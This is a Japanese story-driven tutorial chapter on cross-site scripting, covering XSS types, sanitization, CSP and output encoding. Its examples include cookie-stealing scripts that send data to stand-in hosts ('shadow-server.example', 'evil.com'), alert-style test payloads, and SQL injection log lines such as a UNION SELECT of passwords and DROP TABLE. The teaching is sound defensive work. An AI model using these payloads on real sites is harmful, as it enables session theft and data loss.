12
🔒 危機編 Chapter 12

見えない罠

XSSの仕組みを理解し、見えないスクリプトから身を守る

約55分
XSS Prevention · intro Input Sanitization · intro Content Security Policy · intro
目次(26セクション)
🎬 Story — Introduction

侵害の翌朝。チームは緊急ミーティングのためにあなたのオフィスに集まった。

Yukiがログ解析の結果をモニターに映す。最初に表示されたのは、ShimaLinkのコメント欄に投稿された一見普通のコメントだった。


Yuki: 「このコメントを見て。表面上は普通に見えるけど…」

海風テラスのパンケーキ最高でした!また行きます★

あなた: 「普通のコメントに見えますけど…」

Yuki: 「これはブラウザに表示されたもの。実際にデータベースに保存されていたのはこっちだ。」

Yukiがソースコードを表示する。

海風テラスのパンケーキ最高でした!また行きます★
<script>
  fetch('https://shadow-server.example/steal', {
    method: 'POST',
    body: JSON.stringify({ cookie: document.cookie })
  });
</script>

あなた: 「…え?コメントの中にプログラムが隠されてる?」

Yuki: 「これがクロスサイトスクリプティング——XSSだ。ユーザーが投稿したコメントにJavaScriptを埋め込んで、そのページを見た別のユーザーのブラウザで実行させる。」

あなた: 「つまり、Mikaさんのカフェのページを見たすべてのお客さんのクッキーが…」

Yuki: 「Shadowに送信されていた。セッションクッキーがあれば、そのユーザーになりすませる。これが侵害の第一段階だった。」


Mika: 「コメント欄がお客さんを危険にさらしてたなんて…。」

Yuki: 「Mikaさんのせいじゃない。これはShimaLinkの防御の問題。今日はこのXSSを完全に理解して、二度と同じことが起きないようにする。」

Yukiがマーカーを手に取る。

Yuki: 「敵の武器を知ることが、最強の盾を作る第一歩だ。」

XSS(クロスサイトスクリプティング)とは

XSSは「Webページに悪意のあるスクリプトを注入する」攻撃です。被害者は攻撃者ではなく、そのページを閲覧した別のユーザーです。

Yuki: 「XSSは”毒入りの手紙”みたいなもの。掲示板に毒入りの手紙を貼り付けて、読んだ人が被害を受ける。」

XSSの仕組み

1. 攻撃者がコメント欄にスクリプトを投稿
   → <script>悪意のあるコード</script>

2. サーバーがそのまま保存

3. 別のユーザーがページを閲覧

4. ブラウザがスクリプトを実行
   → クッキー漏洩、フィッシング、ページ改ざん

重要なのは、スクリプトは攻撃者のサーバーではなく、被害者のブラウザで実行されるという点です。

XSSの3つの種類

1. 格納型XSS(Stored XSS)

最も危険。悪意のあるスクリプトがサーバーに保存され、ページを表示するたびに実行される。

攻撃者 → [コメント投稿] → サーバーのDB

被害者A → [ページ閲覧] → スクリプト実行!
被害者B → [ページ閲覧] → スクリプト実行!
被害者C → [ページ閲覧] → スクリプト実行!

ShimaLinkのコメント欄で起きたのがこのタイプです。

<!-- 攻撃者がコメント欄に投稿 -->
<div class="comment">
  素敵なカフェですね!
  <script>
    // 閲覧者のクッキーを盗む
    new Image().src = 'https://evil.com/steal?c=' + document.cookie;
  </script>
</div>

2. 反射型XSS(Reflected XSS)

URLのパラメータにスクリプトを仕込み、リンクをクリックさせて実行させる。

攻撃者が罠のURLを作成:
https://shimalink.com/search?q=<script>alert('XSS')</script>

このURLをメールやSNSで被害者に送信

被害者がクリック → スクリプト実行!

サーバーが検索クエリをそのままページに反映すると発生します。

<!-- サーバーの応答 -->
<p>「<script>alert('XSS')</script>」の検索結果: 0件</p>

3. DOM型XSS(DOM-based XSS)

サーバーを経由せず、JavaScriptがDOMを操作する過程で発生する。

// URLのハッシュをそのまま表示する危険なコード
const hash = window.location.hash.substring(1);
document.getElementById('output').innerHTML = hash;

// 攻撃URL:
// https://shimalink.com/page#<img src=x onerror=alert('XSS')>

XSSで何ができてしまうのか

XSSが成功すると、攻撃者は以下のことが可能になります。

攻撃具体例
セッション乗っ取りクッキーを盗んでなりすまし
フィッシング偽のログインフォームを表示
キーロガーキー入力を記録して送信
ページ改ざんページの内容を書き換え
マルウェア配布悪意あるファイルをダウンロードさせる

あなた: 「コメント欄一つで、こんなに色々できるのか…」

ポイント

  • XSSはユーザーのブラウザで悪意のあるスクリプトを実行する攻撃
  • 格納型(DB保存)、反射型(URL経由)、DOM型(JS処理)の3種類
  • セッション奪取やフィッシングなど深刻な被害を引き起こす
  • 対策は次のレッスンで学ぶ

入力検証とサニタイズ

XSSの根本原因は「ユーザーの入力をそのまま信用した」ことにある。対策の第一歩は、入力の検証(バリデーション)とサニタイズ(無害化)だ。

Yuki: 「レストランで食材を受け取ったら、まず洗うでしょ?コードでも同じ。外から来たデータは必ず”洗浄”してから使う。」

入力検証(Validation)とサニタイズ(Sanitization)の違い

入力検証サニタイズ
目的不正な入力を拒否する入力を安全な形に変換する
動作「ダメです」と返す危険な部分を除去・変換する
メール形式でなければエラーHTMLタグを除去する

サーバー側の入力検証

クライアント側の検証だけでは不十分です。 ブラウザの検証はDeveloper Toolsで簡単に無効化できます。

// クライアント側のみ → 不十分(簡単にバイパス可能)
<input type="text" maxlength="100" required>

// サーバー側で必ず検証する
app.post('/api/comment', (req, res) => {
  const { comment, userName } = req.body;

  // 型チェック
  if (typeof comment !== 'string' || typeof userName !== 'string') {
    return res.status(400).json({ error: '無効な入力型です' });
  }

  // 長さチェック
  if (comment.length === 0 || comment.length > 1000) {
    return res.status(400).json({ error: 'コメントは1〜1000文字です' });
  }

  // 名前の文字種チェック
  if (!/^[\p{L}\p{N}\s]{1,50}$/u.test(userName)) {
    return res.status(400).json({ error: '名前に不正な文字が含まれています' });
  }

  // 検証を通過したら処理を続行
  saveComment(sanitize(comment), userName);
});

HTMLサニタイズ

HTMLの特殊文字をエスケープすることで、スクリプトが実行されるのを防ぎます。

// HTMLエスケープ関数
function escapeHtml(str) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '/': '&#x2F;'
  };
  return str.replace(/[&<>"'/]/g, (char) => map[char]);
}

// 使用例
const userInput = '<script>alert("XSS")</script>';
const safe = escapeHtml(userInput);
// → '&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;'
// ブラウザではテキストとして表示され、実行されない

ホワイトリスト vs ブラックリスト

アプローチ説明安全性
ホワイトリスト許可するものだけを定義高い
ブラックリスト禁止するものを定義低い(漏れが生じやすい)
// ブラックリスト(危険 — 回避方法がたくさんある)
function badSanitize(input) {
  return input.replace(/<script>/gi, ''); // <Script> や <scr<script>ipt> で回避可能
}

// ホワイトリスト(安全 — 許可されたものだけ通す)
function goodSanitize(input) {
  // 許可するHTMLタグだけを通す
  const allowedTags = ['b', 'i', 'em', 'strong', 'p', 'br'];
  // DOMPurifyなどのライブラリを使用
  return DOMPurify.sanitize(input, { ALLOWED_TAGS: allowedTags });
}

Yuki: 「ブラックリストは”この人は入場禁止”。ホワイトリストは”招待状がある人だけ入れる”。どっちが安全かは明らかだよね。」

ライブラリの活用

自前でサニタイズ関数を書くのは危険です。実績のあるライブラリを使いましょう。

// DOMPurify — ブラウザ側
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirty);

// sanitize-html — サーバー側(Node.js)
const sanitizeHtml = require('sanitize-html');
const clean = sanitizeHtml(dirty, {
  allowedTags: ['b', 'i', 'em', 'strong', 'a'],
  allowedAttributes: {
    'a': ['href']
  }
});

ポイント

  • クライアント側の検証は補助。サーバー側の検証が必須
  • HTMLエスケープで特殊文字を無害化する
  • ブラックリストよりホワイトリストが安全
  • 自作せず、DOMPurifyなどの実績あるライブラリを使う

Content Security Policy(CSP)

入力サニタイズだけでは万全ではない。もう一つの防御層として、CSP(Content Security Policy) を導入する。

Yuki: 「サニタイズが”食材を洗う”なら、CSPは”怪しい食材はキッチンに入れない”ルールだよ。」

CSPとは

CSPはHTTPレスポンスヘッダーで、ブラウザに対して「このページでどのリソースを実行・読み込んでよいか」を指示する仕組みです。

Content-Security-Policy: script-src 'self'

この1行で「このサイト自身のスクリプトだけ実行を許可する」という制約をブラウザに伝えます。

なぜCSPが効果的なのか

XSS攻撃が成功するには、ブラウザがスクリプトを「実行」する必要があります。CSPはその実行そのものをブラウザレベルでブロックします。

サニタイズが漏れても:

1. 攻撃者がXSSペイロードを注入
2. サーバーがそのまま返す(サニタイズ漏れ)
3. ブラウザが実行しようとする
4. CSP: 「インラインスクリプトは許可されていません」→ ブロック!

CSPディレクティブ

ディレクティブ制御対象
default-srcすべてのリソースのデフォルト'self'
script-srcJavaScript'self' https://cdn.example.com
style-srcCSS'self' 'unsafe-inline'
img-src画像'self' data: https:
connect-srcAjax/Fetch/WebSocket'self' https://api.shimalink.com
font-srcフォント'self' https://fonts.googleapis.com
frame-srciframe'none'
object-srcプラグイン(Flash等)'none'

段階的なCSP導入

いきなり厳しいCSPを設定すると、自分のサイトが動かなくなることがあります。段階的に導入しましょう。

Step 1: レポートモードで始める

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

ブロックはせず、違反をレポートだけします。

Step 2: 基本的なCSPを設定

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:;

Step 3: インラインスクリプトを排除

// 悪い例: インラインスクリプト(CSPでブロックされる)
<button onclick="doSomething()">クリック</button>

// 良い例: 外部ファイルにまとめる
<button id="myButton">クリック</button>
<script src="/js/app.js"></script>

Step 4: nonceまたはhashを使用

どうしてもインラインスクリプトが必要な場合は、nonceを使います。

<!-- サーバーがリクエストごとにランダムなnonceを生成 -->
Content-Security-Policy: script-src 'nonce-abc123random'

<script nonce="abc123random">
  // このスクリプトだけ実行が許可される
  console.log("正規のスクリプト");
</script>

<!-- nonceのないスクリプトはブロックされる -->
<script>
  alert("XSS"); // ブロック!
</script>

Express.jsでのCSP設定例

const helmet = require('helmet');

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'"],
    styleSrc: ["'self'", "'unsafe-inline'"],
    imgSrc: ["'self'", "data:", "https:"],
    connectSrc: ["'self'", "https://api.shimalink.com"],
    fontSrc: ["'self'", "https://fonts.googleapis.com"],
    objectSrc: ["'none'"],
    frameSrc: ["'none'"]
  }
}));

Yuki: 「helmetライブラリを使えば、CSP以外のセキュリティヘッダーもまとめて設定できるよ。」

ポイント

  • CSPはブラウザレベルでスクリプト実行を制御する防御層
  • サニタイズとCSPの組み合わせが最も効果的
  • レポートモードで始めて段階的に厳しくする
  • helmetなどのライブラリを活用して設定する

出力エンコーディング — コンテキストに応じた防御

入力をサニタイズするだけでは不十分な場合がある。データを出力する場所に応じて、適切なエンコーディングを行う必要がある。

Yuki: 「同じデータでも、HTMLに埋め込むのか、JavaScriptに埋め込むのか、URLに埋め込むのかで、必要な処理が変わるんだ。」

なぜコンテキストが重要なのか

<!-- コンテキスト1: HTML本文 -->
<p>ユーザー名: {{userName}}</p>
<!-- 必要: HTMLエスケープ -->

<!-- コンテキスト2: HTML属性 -->
<input value="{{userName}}">
<!-- 必要: 属性エスケープ -->

<!-- コンテキスト3: JavaScript内 -->
<script>var name = '{{userName}}';</script>
<!-- 必要: JSエスケープ -->

<!-- コンテキスト4: URL内 -->
<a href="/user?name={{userName}}">プロフィール</a>
<!-- 必要: URLエンコード -->

同じ userName でも、埋め込む場所が違えば、攻撃方法も防御方法も変わります。

コンテキスト別のエスケープ

1. HTML本文(Body)

// HTML特殊文字をエスケープ
function escapeHtml(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}

// 入力: <script>alert('XSS')</script>
// 出力: &lt;script&gt;alert(&#x27;XSS&#x27;)&lt;/script&gt;

2. HTML属性

// 属性値は必ず引用符で囲み、エスケープする
const safe = escapeHtml(userInput);

// 安全:
`<input value="${safe}">`

// 危険(引用符なし — 属性の外に脱出可能):
`<input value=${userInput}>`
// 入力: "hello onmouseover=alert(1)" → 属性が追加される

3. JavaScript内

// JSON.stringifyを使うのが最も安全
const safeData = JSON.stringify(userData);

// テンプレート内で使う場合
const template = `<script>var data = ${JSON.stringify(data)};</script>`;

// 絶対にやってはいけない
const bad = `<script>var name = '${userInput}';</script>`;
// 入力: "'; alert('XSS'); '" → スクリプトが注入される

4. URL内

// encodeURIComponentを使う
const safeParam = encodeURIComponent(userInput);
const url = `/search?q=${safeParam}`;

// 入力: "café & bar"
// 出力: "/search?q=caf%C3%A9%20%26%20bar"

テンプレートエンジンの自動エスケープ

モダンなテンプレートエンジンは、デフォルトで自動エスケープを行います。

エンジン自動エスケープ非エスケープ構文
EJS<%= data %><%- data %>
Handlebars{{data}}{{{data}}}
React JSX{data}dangerouslySetInnerHTML
Vue{{data}}v-html
// React — デフォルトで安全
function Comment({ text }) {
  return <p>{text}</p>; // 自動エスケープされる
}

// 危険: 意図的にエスケープを無効化
function DangerousComment({ html }) {
  return <p dangerouslySetInnerHTML={{ __html: html }} />; // XSSの危険
}

Yuki:dangerouslySetInnerHTML という名前からして”危険”って書いてあるでしょ?Reactの開発者が『本当にこれ使う必要あるの?』と問いかけてるんだよ。」

textContent vs innerHTML

DOM操作でも同じ原則が適用されます。

const userComment = '<script>alert("XSS")</script>';

// 安全: textContent(テキストとして挿入)
element.textContent = userComment;
// → 画面に「<script>alert("XSS")</script>」とテキスト表示

// 危険: innerHTML(HTMLとして解釈・実行)
element.innerHTML = userComment;
// → スクリプトが実行される!

原則: innerHTML の代わりに textContent を使う。

ShimaLinkの修正

ShimaLinkのコメント表示を修正します。

// Before(脆弱)
function displayComment(comment) {
  const div = document.createElement('div');
  div.innerHTML = comment.text; // 危険!
  commentList.appendChild(div);
}

// After(安全)
function displayComment(comment) {
  const div = document.createElement('div');
  div.textContent = comment.text; // テキストとして表示
  div.classList.add('comment');
  commentList.appendChild(div);
}

ポイント

  • 出力する場所(コンテキスト)に応じたエスケープが必要
  • HTML、属性、JavaScript、URLでそれぞれ処理が異なる
  • テンプレートエンジンの自動エスケープ機能を活用する
  • innerHTML ではなく textContent を使う
  • dangerouslySetInnerHTMLv-html は原則使わない
📖 Story — Conclusion

コメント欄のXSS脆弱性はすべて修正された。入力のサニタイズ、出力のエスケープ、そしてCSPヘッダーの導入。

// Before: 危険なコード
commentDiv.innerHTML = userComment;

// After: 安全なコード
commentDiv.textContent = sanitize(userComment);

あなた: 「テスト用のXSSペイロードを何パターンか試しましたが、すべてブロックされています。」

Yuki: 「いいね。でも安心するのはまだ早い。Shadowが使ったのはXSSだけじゃなかった。」

あなた: 「もう一つの攻撃があるんだよな…。」

Yuki: 「そう。XSSはユーザーのブラウザを攻撃するものだった。でも次の攻撃は、もっと直接的——データベースそのものを狙う。」

Yukiがログの別の箇所を開く。検索機能のアクセスログに、異常な検索クエリが並んでいた。

GET /api/search?q=cafe' UNION SELECT email,password FROM users--
GET /api/search?q=cafe' OR 1=1--
GET /api/search?q=cafe'; DROP TABLE sessions--

あなた: 「これは…検索欄からSQLを直接実行してる?」

Yuki: 「SQLインジェクション。これが侵害の第二段階だった。Shadowはこれを使って、データベースからユーザー情報を直接抜き取った。」


XSSの罠は封じた。しかしShimaLinkの壁にはもう一つ、大きな穴が開いている。

データベースへの直接侵入——SQLインジェクションとの戦いが、次に待っている。

次のチャプター: Chapter 13: データベースへの侵入 — 検索機能に潜むSQLインジェクションの脅威と、パラメータ化クエリによる防御を学ぶ。

🧠 理解度チェック

Q1.格納型XSS(Stored XSS)の特徴として正しいのは?

💡 Shadowがコメント欄に仕込んだスクリプトは、海風テラスのページを見た全員に影響した。

Q2.HTMLエスケープで「<」はどのように変換される?

💡 <script>タグを無害化するために、< を &lt; に変換したのを覚えてる?

Q3.CSP(Content Security Policy)の主な役割は?

💡 Yukiが「サニタイズ漏れがあってもCSPがブロックする」と説明してくれた、第二の防御層だ。

Q4.DOM操作で安全にテキストを挿入するのはどれ?

💡 ShimaLinkのコメント表示をinnerHTMLからtextContentに変更したのが修正のポイントだった。

Q5.入力サニタイズで「ホワイトリスト」アプローチが安全な理由は?

💡 Yukiが「招待状がある人だけ入れる」と例えたアプローチだ。

Q6.ReactのJSXで{data}と書いたとき、XSSは防げる?

💡 テンプレートエンジンの自動エスケープ機能の話。Reactは名前でも警告してくれる。

Q7.CSPヘッダーの「script-src 'self'」の意味は?

💡 ShimaLinkのCSP設定で最初に入れたディレクティブだ。

Q8.URLパラメータにユーザー入力を含める場合、何を使うべき?

💡 出力コンテキストに応じたエスケープの話。URLにはURL用の処理が必要だ。

よくある質問

XSSのテストはどうやって行えばいい?

開発中に以下のテストペイロードを入力フォームに試してみてください: ```html <!-- 基本 --> <script>alert('XSS')</script> <!-- イベントハンドラ --> <img src=x onerror=alert('XSS')> <!-- SVG --> <svg onload=alert('XSS')> <!-- 属性脱出 --> " onmouseover="alert('XSS') ``` どれも`alert`が表示されなければ安全です。表示された場合はエスケープが不十分です。 **重要**: テストは必ず自分の開発環境で行ってください。他人のサイトで行うのは犯罪です。

DOMPurifyのインストール方法は?

```bash # npm npm install dompurify # yarn yarn add dompurify ``` **使い方:** ```javascript import DOMPurify from 'dompurify'; // 基本的な使い方 const clean = DOMPurify.sanitize(dirty); // 許可するタグを指定 const clean = DOMPurify.sanitize(dirty, { ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'], ALLOWED_ATTR: ['href'] }); ``` Node.js環境では `jsdom` との併用が必要です: ```bash npm install dompurify jsdom ```

CSPを設定したらサイトが表示されなくなった

CSPが厳しすぎると、正当なリソースもブロックされます。 **デバッグ手順:** 1. ブラウザのDevTools → Console を確認 2. CSP違反エラーが表示されているはず ``` Refused to load the script 'https://cdn.example.com/lib.js' because it violates the Content Security Policy directive: "script-src 'self'" ``` 3. 必要なドメインをCSPに追加 ``` script-src 'self' https://cdn.example.com ``` **おすすめ**: まず `Content-Security-Policy-Report-Only` で試し、違反レポートを確認してから本番適用する。

innerHTMLを使わないとリッチテキストが表示できない

リッチテキスト(太字、リンク等)を表示する必要がある場合は、以下の方法を検討してください: 1. **DOMPurifyでサニタイズしてから使う** ```javascript import DOMPurify from 'dompurify'; element.innerHTML = DOMPurify.sanitize(richText); ``` 2. **Markdownを使う** ```javascript import { marked } from 'marked'; import DOMPurify from 'dompurify'; const html = marked.parse(markdownText); element.innerHTML = DOMPurify.sanitize(html); ``` 3. **DOM APIで構築する** ```javascript const p = document.createElement('p'); const strong = document.createElement('strong'); strong.textContent = '太字テキスト'; p.appendChild(strong); ```

反射型XSSと格納型XSSの見分け方は?

**見分けるポイント:** | | 格納型 | 反射型 | |---|---|---| | **保存場所** | サーバーのDB | URLパラメータ | | **持続性** | ページを開くたび実行 | 特定URLにアクセスした時だけ | | **影響範囲** | そのページの全訪問者 | リンクをクリックした人だけ | | **よくある場所** | コメント欄、プロフィール | 検索結果、エラーページ | **例:** - 格納型: コメント欄に`<script>`を投稿 → DB保存 → 全員影響 - 反射型: `?q=<script>` をURLに含める → そのURLにアクセスした人だけ影響

helmetライブラリの導入方法は?

Express.jsのセキュリティヘッダーをまとめて設定できるライブラリです。 ```bash npm install helmet ``` ```javascript const express = require('express'); const helmet = require('helmet'); const app = express(); // デフォルト設定(推奨) app.use(helmet()); // CSPをカスタマイズする場合 app.use(helmet({ contentSecurityPolicy: { directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'"], styleSrc: ["'self'", "'unsafe-inline'"], imgSrc: ["'self'", "data:", "https:"] } } })); ``` helmetが自動設定するヘッダー:CSP、X-Frame-Options、X-Content-Type-Options など。

エスケープとエンコーディングの違いがわからない

文脈は似ていますが、微妙に異なります: **エスケープ(Escape):** 特殊文字に「この文字は特別な意味ではなく、文字そのものとして扱ってね」と印をつけること。 ``` < → &lt; (HTMLエスケープ) ' → \' (JavaScriptエスケープ) ``` **エンコーディング(Encoding):** 文字を別の表現形式に変換すること。 ``` スペース → %20 (URLエンコード) あ → %E3%81%82 (URLエンコード・UTF-8) ``` **セキュリティでは、どちらも「安全な形にデータを変換する」目的で使い、まとめて「出力エンコーディング」と呼ぶことが多いです。**

CSPのnonceとhashの違いは?

どちらもインラインスクリプトを安全に許可する方法です。 **nonce(ナンス):** リクエストごとにサーバーが生成するランダムな値。 ```html Content-Security-Policy: script-src 'nonce-abc123' <script nonce="abc123">...</script> ``` - 毎回異なる値 → 攻撃者が予測できない - サーバー側でリクエストごとに生成が必要 **hash:** スクリプトの内容のハッシュ値。 ```html Content-Security-Policy: script-src 'sha256-xyz...' <script>固定のスクリプト内容</script> ``` - スクリプトの内容が変わらない場合に有効 - 動的なスクリプトには使えない 一般的には **nonce** がより柔軟で推奨されます。

Vue.jsでのXSS対策は?

Vue.jsもReact同様、デフォルトで自動エスケープします。 ```html <!-- 安全: 自動エスケープ --> <p>{{ userInput }}</p> <!-- 危険: HTMLとして挿入 --> <p v-html="userInput"></p> ``` **v-htmlは原則使わないでください。** やむを得ない場合はサニタイズ必須です: ```javascript import DOMPurify from 'dompurify'; export default { computed: { safeHtml() { return DOMPurify.sanitize(this.rawHtml); } } } ``` ```html <p v-html="safeHtml"></p> ```

クライアント側のバリデーションは意味がないの?

意味はありますが、**セキュリティ対策としては不十分**です。 **クライアント側のバリデーションの役割:** - UX向上(即座にエラーを表示できる) - サーバーへの不要なリクエストを減らす **なぜセキュリティとしては不十分か:** - DevToolsでHTML属性を削除できる - JavaScriptを無効化できる - curlやPostmanで直接APIを叩ける ```bash # バリデーションを完全にバイパスする例 curl -X POST https://shimalink.com/api/comment \ -H 'Content-Type: application/json' \ -d '{"comment": "<script>alert(1)</script>"}' ``` **結論**: クライアント側はUX用、サーバー側はセキュリティ用。**両方実装する**のがベストプラクティスです。